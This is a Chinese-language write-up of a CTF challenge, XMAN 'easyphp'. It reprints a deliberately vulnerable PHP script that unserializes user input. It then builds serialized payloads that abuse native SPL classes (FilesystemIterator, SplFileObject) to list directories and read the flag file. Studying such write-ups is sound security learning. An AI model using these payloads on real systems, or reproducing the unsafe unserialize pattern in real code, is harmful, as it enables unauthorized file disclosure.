[XMAN选拔赛] easyphp
麻了的一天,早上因为有事外出,以为选拔赛到下午六点才结束,中午一点回到家发现已经结束了,人都傻了,幸好环境没关,复现一下题目。
PHP原生类反序列化,DASCTF原题都没怎么改
看源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class XMAN{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "Hel";
$this->para = "xctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new Filter;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('what?Really?');
}
}
class Hel{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("Hello bro, I guess you are a lazy ".$this->a);
}
}
class Filter{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['xctf'])){
unserialize($_GET['xctf']);
}
else{
$a=new XMAN;
}
大概看完整个代码发现没有可以直接利用的恶意类,之后关注到了这里:
echo new $this->class ($this->para);
我们可以控制类与参数的值,因而确定是一个PHP原生类的反序列化,进而只需要找到合适的原生类即可实现文件读取
这里就需要介绍一下SPL库了
顾名思义,SPL就是
Standard PHP Library
的缩写。据手册显示,SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册,正如上面的定义一样,有许多封装好的类。因为是要解决典型问题,免不了有一些处理文件的类。
因而我们可以在SPL库中找到一些有用的类:PHP 迭代器
一.可遍历目录类
DirectoryIterator
FilesystemIterator
GlobIterator
与上面略不同,该类可以通过模式匹配来寻找文件路径
二.可读取文件类
SplFileObject
在此函数中,URL 可作为文件名,不过也要受到allow_url_fopen影响。
三.文件系统相关扩展
finfo
该类的构造函数finfo::__construct
— 别名 finfo_open()
,也可以读取文件。
进而构造Payload:
<?php
class XMAN{
public $class='FilesystemIterator';
public $para="/var/www/html/";
}
$a = new XMAN();
echo serialize($a);
得到O:4:"XMAN":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:14:"/var/www/html/";}
发现目录: xxxXXXmMManNNn
再检索该目录下的文件:O:4:"XMAN":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:28:"/var/www/html/xxxXXXmMManNNn";}
得到f1a4.php
,接下来我们利用SplFileObject
类读取该文件即可:
<?php
class XMAN{
public $class='SplFileObject';
public $para="/var/www/html/xxxXXXmMManNNn/f1a4.php";
}
$a = new XMAN();
echo serialize($a);
得到flag
更多关于PHP原生类反序列化的内容可以参考:
从一道CTF练习题浅谈php原生文件操作类
[DASCTF]ez_serialize-PHP 原生类的利用
[ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com